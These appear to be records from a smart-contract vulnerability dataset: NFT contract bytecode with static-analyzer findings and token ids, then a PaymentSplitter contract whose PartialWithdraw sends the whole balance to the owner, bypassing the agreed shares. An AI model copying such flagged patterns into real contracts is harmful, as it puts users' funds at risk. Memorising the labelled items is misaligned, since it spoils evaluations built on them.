0x6080604052600436106103545760003560e01c8063715018a6116101c6578063bfce7c73116100f7578063dde6ecda11610095578063e9c265181161006f578063e9c2651814610a0f578063ee99205c14610a31578063f2fde38b14610a51578063f38ade9b14610a7157600080fd5b8063dde6ecda146109af578063df3eb32b146109cf578063e985e9c5146109ef57600080fd5b8063d5391393116100d1578063d539139314610925578063d547741f14610959578063d6dc092c14610979578063d7224ba01461099957600080fd5b8063bfce7c73146108d0578063c87b56dd146108f0578063cf76a1531461091057600080fd5b8063a217fddf11610164578063b5b93a181161013e578063b5b93a181461085b578063b723b34e14610870578063b88d4fde14610890578063b92b2dc7146108b057600080fd5b8063a217fddf14610806578063a22cb4651461081b578063b49899cd1461083b57600080fd5b80638da5cb5b116101a05780638da5cb5b1461079357806391d14854146107b157806395d89b41146107d15780639dd373b9146107e657600080fd5b8063715018a61461073e578063791b3616146107535780637e2285aa1461077357600080fd5b80632d20fb60116102a057806342842e0e1161023e57806355f804b31161021857806355f804b3146106be57806360edd622146106de5780636352211e146106fe57806370a082311461071e57600080fd5b806342842e0e1461065e578063454145751461067e5780634f6ccce71461069e57600080fd5b80632f745c591161027a5780632f745c59146105e457806332f3b0761461060457806333eeb1471461062457806336568abe1461063e57600080fd5b80632d20fb601461058f5780632d5537b0146105af5780632f2ff15d146105c457600080fd5b80630c88b7311161030d5780631e08a9e4116102e75780631e08a9e4146104f557806323b872dd1461050b578063248a9ca31461052b578063282c51f31461055b57600080fd5b80630c88b731146104a05780631411d518146104c057806318160ddd146104e057600080fd5b806301f569971461038d57806301ffc9a7146103d4578063053289eb1461040457806306fdde0314610426578063081812fc14610448578063095ea7b31461048057600080fd5b3661038857604051349033907fa419615bc8fda4c87663805ee2a3597a6d71c1d476911d9892f340d965bc7bf190600090a3005b600080fd5b34801561039957600080fd5b506103c17f000000000000000000000000000000000000000000000000000000000000003281565b6040519081526020015b60405180910390f35b3480156103e057600080fd5b506103f46103ef366004612ee1565b610a91565b60405190151581526020016103cb565b34801561041057600080fd5b5061042461041f366004612efe565b610b0d565b005b34801561043257600080fd5b5061043b610c82565b6040516103cb9190612f78565b34801561045457600080fd5b50610468610463366004612f8b565b610d14565b6040516001600160a01b0390911681526020016103cb565b34801561048c57600080fd5b5061042461049b366004612fb9565b610d9d565b3480156104ac57600080fd5b506104246104bb366004612f8b565b610ec2565b3480156104cc57600080fd5b506104246104db366004612fe5565b610f61565b3480156104ec57600080fd5b506103c1610fcc565b34801561050157600080fd5b506103c160155481565b34801561051757600080fd5b50610424610526366004613002565b610fe2565b34801561053757600080fd5b506103c1610546366004612f8b565b60009081526008602052604090206001015490565b34801561056757600080fd5b506103c17f3c11d16cbaffd01df69ce1c404f6340ee057498f5f00246190ea54220576a84881565b34801561059b57600080fd5b506104246105aa366004612f8b565b610fed565b3480156105bb57600080fd5b5061043b61106d565b3480156105d057600080fd5b506104246105df366004613043565b6110fb565b3480156105f057600080fd5b506103c16105ff366004612fb9565b611123565b34801561061057600080fd5b50600a54610468906001600160a01b031681565b34801561063057600080fd5b506014546103f49060ff1681565b34801561064a57600080fd5b50610424610659366004613043565b61129a565b34801561066a57600080fd5b50610424610679366004613002565b611328565b34801561068a57600080fd5b50600d54610468906001600160a01b031681565b3480156106aa57600080fd5b506103c16106b9366004612f8b565b611343565b3480156106ca57600080fd5b506104246106d93660046130ff565b6113ac565b3480156106ea57600080fd5b506104246106f9366004612fe5565b61146d565b34801561070a57600080fd5b50610468610719366004612f8b565b6114d3565b34801561072a57600080fd5b506103c1610739366004612fe5565b6114e5565b34801561074a57600080fd5b50610424611576565b34801561075f57600080fd5b50601054610468906001600160a01b031681565b34801561077f57600080fd5b5061042461078e366004613148565b6115cb565b34801561079f57600080fd5b506009546001600160a01b0316610468565b3480156107bd57600080fd5b506103f46107cc366004613043565b611688565b3480156107dd57600080fd5b5061043b6116b3565b3480156107f257600080fd5b50610424610801366004612fe5565b6116c2565b34801561081257600080fd5b506103c1600081565b34801561082757600080fd5b506104246108363660046131ba565b611728565b34801561084757600080fd5b50610424610856366004612fe5565b61182a565b34801561086757600080fd5b5061043b611890565b34801561087c57600080fd5b5061042461088b366004613043565b61189d565b34801561089c57600080fd5b506104246108ab3660046131ed565b6118d4565b3480156108bc57600080fd5b506104246108cb366004612fe5565b61190d565b3480156108dc57600080fd5b50600c54610468906001600160a01b031681565b3480156108fc57600080fd5b5061043b61090b366004612f8b565b611973565b34801561091c57600080fd5b5061043b611a07565b34801561093157600080fd5b506103c17f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b34801561096557600080fd5b50610424610974366004613043565b611a14565b34801561098557600080fd5b50600f54610468906001600160a01b031681565b3480156109a557600080fd5b506103c160075481565b3480156109bb57600080fd5b506104246109ca366004612fe5565b611a3c565b3480156109db57600080fd5b50600b54610468906001600160a01b031681565b3480156109fb57600080fd5b506103f4610a0a36600461326d565b611aa2565b348015610a1b57600080fd5b506103c160008051602061359f83398151915281565b348015610a3d57600080fd5b50600e54610468906001600160a01b031681565b348015610a5d57600080fd5b50610424610a6c366004612fe5565b611b83565b348015610a7d57600080fd5b50610424610a8c3660046130ff565b611c3d565b60006001600160e01b031982166380ac58cd60e01b1480610ac257506001600160e01b03198216635b5e139f60e01b145b80610add57506001600160e01b0319821663780e9d6360e01b145b80610af857506001600160e01b03198216637965db0b60e01b145b80610b075750610b0782611cfe565b92915050565b610b15611d23565b6001600160a01b0316610b306009546001600160a01b031690565b6001600160a01b031614610b5f5760405162461bcd60e51b8152600401610b569061329b565b60405180910390fd5b808210610bc35760405162461bcd60e51b815260206004820152602c60248201527f53544152542043414e4e4f542042452047524541544544205448414e204f522060448201526b1154555053081513c811539160a21b6064820152608401610b56565b610bcb610fcc565b811115610c1a5760405162461bcd60e51b815260206004820152601d60248201527f43414e4e4f5420454d49542041424f564520544f54414c2053555050590000006044820152606401610b56565b815b81811015610c7d576000610c2f826114d3565b60405190915082906001600160a01b0383169081907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90600090a45080610c75816132e6565b915050610c1c565b505050565b606060018054610c9190613301565b80601f0160208091040260200160405190810160405280929190818152602001828054610cbd90613301565b8015610d0a5780601f10610cdf57610100808354040283529160200191610d0a565b820191906000526020600020905b815481529060010190602001808311610ced57829003601f168201915b5050505050905090565b6000610d1f82611d80565b610d815760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b6064820152608401610b56565b506000908152600560205260409020546001600160a01b031690565b6000610da8826114d3565b9050806001600160a01b0316836001600160a01b03161415610e175760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b6064820152608401610b56565b806001600160a01b0316610e29611d23565b6001600160a01b03161480610e455750610e4581610a0a611d23565b610eb75760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c000000000000006064820152608401610b56565b610c7d838383611d93565b610eca611d23565b6001600160a01b0316610ee56009546001600160a01b031690565b6001600160a01b031614610f0b5760405162461bcd60e51b8152600401610b569061329b565b60145460ff1615610f2e5760405162461bcd60e51b8152600401610b569061333c565b601581905560405181907f0d3fd7cb9739371b96241abd699251bb8caf2682a929fcdea01c53696b6eafc390600090a250565b60008051602061359f833981519152610f8181610f7c611d23565b611def565b600c80546001600160a01b0319166001600160a01b0384169081179091556040517fed66ababfc479457dcabf460cc28b1779562793b6e39638a07df2247f3a3194b90600090a25050565b60006001600054610fdd9190613365565b905090565b610c7d838383611e53565b610ff5611d23565b6001600160a01b03166110106009546001600160a01b031690565b6001600160a01b0316146110365760405162461bcd60e51b8152600401610b569061329b565b61103f8161220c565b60405181907fe080018630bfa78e1f14c96bc2a5998edc464eb264e1bfd29a63d0c4709d8b4990600090a250565b6013805461107a90613301565b80601f01602080910402602001604051908101604052809291908181526020018280546110a690613301565b80156110f35780601f106110c8576101008083540402835291602001916110f3565b820191906000526020600020905b8154815290600101906020018083116110d657829003601f168201915b505050505081565b60008281526008602052604090206001015461111981610f7c611d23565b610c7d83836123bc565b600061112e836114e5565b82106111875760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b6064820152608401610b56565b6000611191610fcc565b905060008060005b83811161123a576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156111eb57805192505b876001600160a01b0316836001600160a01b03161415611227578684141561121957509350610b0792505050565b83611223816132e6565b9450505b5080611232816132e6565b915050611199565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201526d0deeedccae440c4f240d2dcc8caf60931b6064820152608401610b56565b6112a2611d23565b6001600160a01b0316816001600160a01b03161461131a5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610b56565b6113248282612443565b5050565b610c7d838383604051806020016040528060008152506118d4565b600061134d610fcc565b8211156113a85760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b6064820152608401610b56565b5090565b6113b4611d23565b6001600160a01b03166113cf6009546001600160a01b031690565b6001600160a01b0316146113f55760405162461bcd60e51b8152600401610b569061329b565b60145460ff16156114185760405162461bcd60e51b8152600401610b569061333c565b805161142b906011906020840190612dc2565b508060405161143a919061337c565b604051908190038120907fc9e8f610c54c2b76116d5166ae3d1bd8f7227fd57dce593bc86525d58991963d90600090a250565b60008051602061359f83398151915261148881610f7c611d23565b600a80546001600160a01b0319166001600160a01b0384169081179091556040517f8ff6b7a1471a5a66745560c17371db97df7d1cf8fca1cc01ada95077df4cfb9590600090a25050565b60006114de826124c8565b5192915050565b60006001600160a01b0382166115515760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b6064820152608401610b56565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b61157e611d23565b6001600160a01b03166115996009546001600160a01b031690565b6001600160a01b0316146115bf5760405162461bcd60e51b8152600401610b569061329b565b6115c96000612670565b565b6115d3611d23565b6001600160a01b03166115ee6009546001600160a01b031690565b6001600160a01b0316146116145760405162461bcd60e51b8152600401610b569061329b565b60145460ff16156116375760405162461bcd60e51b8152600401610b569061333c565b61164360138383612e42565b508181604051611654929190613398565b604051908190038120907fa3d21ab750d11d348e1a30290d5019cdb95779b225891a5ec3e1864afa88622290600090a25050565b60009182526008602090815260408084206001600160a01b0393909316845291905290205460ff1690565b606060028054610c9190613301565b60008051602061359f8339815191526116dd81610f7c611d23565b600e80546001600160a01b0319166001600160a01b0384169081179091556040517ffbe26b52ae11c5810d3acd67ec1172dd164b30bced3cfadf0e8c88737936858d90600090a25050565b611730611d23565b6001600160a01b0316826001600160a01b031614156117915760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c65720000000000006044820152606401610b56565b806006600061179e611d23565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff1916921515929092179091556117e2611d23565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161181e911515815260200190565b60405180910390a35050565b60008051602061359f83398151915261184581610f7c611d23565b600b80546001600160a01b0319166001600160a01b0384169081179091556040517f6449b25fcdc4cc4ef12c411cfc0a230af483096baedcba90dee04fc55afdfab690600090a25050565b6012805461107a90613301565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a66118ca81610f7c611d23565b610c7d82846126c2565b6118df848484611e53565b6118eb848484846126dc565b6119075760405162461bcd60e51b8152600401610b56906133a8565b50505050565b60008051602061359f83398151915261192881610f7c611d23565b600f80546001600160a01b0319166001600160a01b0384169081179091556040517fd5d4d41d7df2f57a99b23640a0fe29d664f8f9160b661c50446ecb7e25dc438090600090a25050565b60606012805461198290613301565b80601f01602080910402602001604051908101604052809291908181526020018280546119ae90613301565b80156119fb5780601f106119d0576101008083540402835291602001916119fb565b820191906000526020600020905b8154815290600101906020018083116119de57829003601f168201915b50505050509050919050565b6011805461107a90613301565b600082815260086020526040902060010154611a3281610f7c611d23565b610c7d8383612443565b60008051602061359f833981519152611a5781610f7c611d23565b600d80546001600160a01b0319166001600160a01b0384169081179091556040517f64b21973325904e905d06b7ac2c900b98bc98ae2bb81adc3c6bde00263eae21690600090a25050565b60105460405163c455279160e01b81526001600160a01b03848116600483015260009281169190841690829063c455279190602401602060405180830381865afa158015611af4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1891906133fb565b6001600160a01b03161415611b31576001915050610b07565b6010546001600160a01b0384811691161415611b51576001915050610b07565b6001600160a01b0380851660009081526006602090815260408083209387168352929052205460ff165b949350505050565b611b8b611d23565b6001600160a01b0316611ba66009546001600160a01b031690565b6001600160a01b031614611bcc5760405162461bcd60e51b8152600401610b569061329b565b6001600160a01b038116611c315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b56565b611c3a81612670565b50565b611c45611d23565b6001600160a01b0316611c606009546001600160a01b031690565b6001600160a01b031614611c865760405162461bcd60e51b8152600401610b569061329b565b60145460ff1615611ca95760405162461bcd60e51b8152600401610b569061333c565b8051611cbc906012906020840190612dc2565b5080604051611ccb919061337c565b604051908190038120907f9d120c0f8132a773406990878cd64bf38a460a946edaad524e58bb026e97ee0690600090a250565b60006001600160e01b03198216637965db0b60e01b1480610b075750610b07826127e1565b600033301415611d7a57600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152505050503601516001600160a01b03169150611d7d9050565b50335b90565b6000805482108015610b07575050151590565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b611df98282611688565b61132457611e11816001600160a01b0316601461284c565b611e1c83602061284c565b604051602001611e2d929190613418565b60408051601f198184030181529082905262461bcd60e51b8252610b5691600401612f78565b6000611e5e826124c8565b9050600081600001516001600160a01b0316611e78611d23565b6001600160a01b03161480611ead5750611e90611d23565b6001600160a01b0316611ea284610d14565b6001600160a01b0316145b80611ec157508151611ec190610a0a611d23565b905080611f2b5760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f74206044820152711bdddb995c881b9bdc88185c1c1c9bdd995960721b6064820152608401610b56565b846001600160a01b031682600001516001600160a01b031614611f9f5760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b6064820152608401610b56565b6001600160a01b0384166120035760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b6064820152608401610b56565b61201085858560016129ef565b6120206000848460000151611d93565b6001600160a01b03851660009081526004602052604081208054600192906120529084906001600160801b031661348d565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b0386166000908152600460205260408120805460019450909261209e918591166134b5565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526003909152948520935184549151909216600160a01b026001600160e01b031990911691909216171790556121268460016134e0565b6000818152600360205260409020549091506001600160a01b03166121b65761214e81611d80565b156121b65760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122048686866001612a7c565b505050505050565b6007548161225c5760405162461bcd60e51b815260206004820152601860248201527f7175616e74697479206d757374206265206e6f6e7a65726f00000000000000006044820152606401610b56565b6000600161226a84846134e0565b6122749190613365565b905060016000546122859190613365565b81111561229e57600160005461229b9190613365565b90505b6122a781611d80565b6123025760405162461bcd60e51b815260206004820152602660248201527f6e6f7420656e6f756768206d696e7465642079657420666f722074686973206360448201526506c65616e75760d41b6064820152608401610b56565b815b8181116123a8576000818152600360205260409020546001600160a01b0316612396576000612332826124c8565b60408051808201825282516001600160a01b03908116825260209384015167ffffffffffffffff9081168584019081526000888152600390965293909420915182549351909416600160a01b026001600160e01b0319909316931692909217179055505b806123a0816132e6565b915050612304565b506123b48160016134e0565b600755505050565b6123c68282611688565b6113245760008281526008602090815260408083206001600160a01b03851684529091529020805460ff191660011790556123ff611d23565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b61244d8282611688565b156113245760008281526008602090815260408083206001600160a01b03851684529091529020805460ff19169055612484611d23565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b60408051808201909152600080825260208201526124e582611d80565b6125445760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b6064820152608401610b56565b60007f000000000000000000000000000000000000000000000000000000000000003283106125a5576125977f000000000000000000000000000000000000000000000000000000000000003284613365565b6125a29060016134e0565b90505b825b81811061260f576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff1691830191909152156125fc57949350505050565b5080612607816134f8565b9150506125a7565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201526e1037bbb732b91037b3103a37b5b2b760891b6064820152608401610b56565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b611324828260405180602001604052806000815250612ad5565b60006001600160a01b0384163b156127d657836001600160a01b031663150b7a02612705611d23565b8786866040518563ffffffff1660e01b8152600401612727949392919061350f565b6020604051808303816000875af1925050508015612762575060408051601f3d908101601f1916820190925261275f9181019061354c565b60015b6127bc573d808015612790576040519150601f19603f3d011682016040523d82523d6000602084013e612795565b606091505b5080516127b45760405162461bcd60e51b8152600401610b56906133a8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611b7b565b506001949350505050565b60006001600160e01b031982166380ac58cd60e01b148061281257506001600160e01b03198216635b5e139f60e01b145b8061282d57506001600160e01b0319821663780e9d6360e01b145b80610b0757506301ffc9a760e01b6001600160e01b0319831614610b07565b6060600061285b836002613569565b6128669060026134e0565b67ffffffffffffffff81111561287e5761287e613073565b6040519080825280601f01601f1916602001820160405280156128a8576020820181803683370190505b509050600360fc1b816000815181106128c3576128c3613588565b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106128f2576128f2613588565b60200101906001600160f81b031916908160001a9053506000612916846002613569565b6129219060016134e0565b90505b6001811115612999576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061295557612955613588565b1a60f81b82828151811061296b5761296b613588565b60200101906001600160f81b031916908160001a90535060049490941c93612992816134f8565b9050612924565b5083156129e85760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610b56565b9392505050565b600c546001600160a01b03161561190757600c5460405163034086bd60e21b81526001600160a01b0386811660048301528581166024830152604482018590526064820184905290911690630d021af4906084015b600060405180830381600087803b158015612a5e57600080fd5b505af1158015612a72573d6000803e3d6000fd5b5050505050505050565b600c546001600160a01b03161561190757600c54604051630d87420d60e31b81526001600160a01b0386811660048301528581166024830152604482018590526064820184905290911690636c3a106890608401612a44565b6000546001600160a01b038416612b385760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b6064820152608401610b56565b612b4181611d80565b15612b8e5760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e7465640000006044820152606401610b56565b7f0000000000000000000000000000000000000000000000000000000000000032831115612c095760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b6064820152608401610b56565b612c1660008583866129ef565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612c729087906134b5565b6001600160801b03168152602001858360200151612c9091906134b5565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b85811015612db05760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4612d7460008884886126dc565b612d905760405162461bcd60e51b8152600401610b56906133a8565b81612d9a816132e6565b9250508080612da8906132e6565b915050612d27565b50600081815561220490878588612a7c565b828054612dce90613301565b90600052602060002090601f016020900481019282612df05760008555612e36565b82601f10612e0957805160ff1916838001178555612e36565b82800160010185558215612e36579182015b82811115612e36578251825591602001919060010190612e1b565b506113a8929150612eb6565b828054612e4e90613301565b90600052602060002090601f016020900481019282612e705760008555612e36565b82601f10612e895782800160ff19823516178555612e36565b82800160010185558215612e36579182015b82811115612e36578235825591602001919060010190612e9b565b5b808211156113a85760008155600101612eb7565b6001600160e01b031981168114611c3a57600080fd5b600060208284031215612ef357600080fd5b81356129e881612ecb565b60008060408385031215612f1157600080fd5b50508035926020909101359150565b60005b83811015612f3b578181015183820152602001612f23565b838111156119075750506000910152565b60008151808452612f64816020860160208601612f20565b601f01601f19169290920160200192915050565b6020815260006129e86020830184612f4c565b600060208284031215612f9d57600080fd5b5035919050565b6001600160a01b0381168114611c3a57600080fd5b60008060408385031215612fcc57600080fd5b8235612fd781612fa4565b946020939093013593505050565b600060208284031215612ff757600080fd5b81356129e881612fa4565b60008060006060848603121561301757600080fd5b833561302281612fa4565b9250602084013561303281612fa4565b929592945050506040919091013590565b6000806040838503121561305657600080fd5b82359150602083013561306881612fa4565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff808411156130a4576130a4613073565b604051601f8501601f19908116603f011681019082821181831017156130cc576130cc613073565b816040528093508581528686860111156130e557600080fd5b858560208301376000602087830101525050509392505050565b60006020828403121561311157600080fd5b813567ffffffffffffffff81111561312857600080fd5b8201601f8101841361313957600080fd5b611b7b84823560208401613089565b6000806020838503121561315b57600080fd5b823567ffffffffffffffff8082111561317357600080fd5b818501915085601f83011261318757600080fd5b81358181111561319657600080fd5b8660208285010111156131a857600080fd5b60209290920196919550909350505050565b600080604083850312156131cd57600080fd5b82356131d881612fa4565b91506020830135801515811461306857600080fd5b6000806000806080858703121561320357600080fd5b843561320e81612fa4565b9350602085013561321e81612fa4565b925060408501359150606085013567ffffffffffffffff81111561324157600080fd5b8501601f8101871361325257600080fd5b61326187823560208401613089565b91505092959194509250565b6000806040838503121561328057600080fd5b823561328b81612fa4565b9150602083013561306881612fa4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60006000198214156132fa576132fa6132d0565b5060010190565b600181811c9082168061331557607f821691505b6020821081141561333657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600f908201526e21a7a72a2920a1aa10232927ad22a760891b604082015260600190565b600082821015613377576133776132d0565b500390565b6000825161338e818460208701612f20565b9190910192915050565b8183823760009101908152919050565b60208082526033908201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260408201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b606082015260800190565b60006020828403121561340d57600080fd5b81516129e881612fa4565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351613450816017850160208801612f20565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613481816028840160208801612f20565b01602801949350505050565b60006001600160801b03838116908316818110156134ad576134ad6132d0565b039392505050565b60006001600160801b038083168185168083038211156134d7576134d76132d0565b01949350505050565b600082198211156134f3576134f36132d0565b500190565b600081613507576135076132d0565b506000190190565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061354290830184612f4c565b9695505050505050565b60006020828403121561355e57600080fd5b81516129e881612ecb565b6000816000190483118215151615613583576135836132d0565b500290565b634e487b7160e01b600052603260045260246000fdfe3b5d4cc60d3ec3516ee8ae083bd60934f6eb2a6c54b1229985c41bfb092b2603a26469706673582212203a2f70b5f3055e939718bcbbf27b85b7c9015ff3c06527de1029f6f2c79c463d64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 19841, 17465, 2063, 21084, 22275, 2620, 2683, 2620, 16409, 2620, 29292, 2063, 21057, 2050, 16086, 21084, 2050, 22610, 2620, 27531, 2050, 29097, 19841, 2692, 2497, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2764, 2011, 4705, 6786, 1006, 16770, 1024, 1013, 1013, 4705, 15007, 3630, 21615, 1012, 22834, 1007, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2340, 1025, 1013, 1008, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1064, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,572
0x97022aceDc279dd637DA16BEd63e6cFC4eA5BbF1
// SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; contract DerpySplitter is PaymentSplitter, Ownable { using SafeMath for uint256; address[] private _team = [ 0xa492605BeE17582a13F8274caa326Ff8317FB392, 0x8672aDa837C557fF4A039677299D65EB0681d8A7, 0x788f4a9b99ED6e220E901E3F0aBE80B93D14C04a ]; uint256[] private _team_shares = [33,33,33]; constructor() PaymentSplitter(_team, _team_shares) { } function PartialWithdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function withdrawAll() public onlyOwner { for (uint256 i = 0; i < _team.length; i++) { address payable wallet = payable(_team[i]); release(wallet); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ 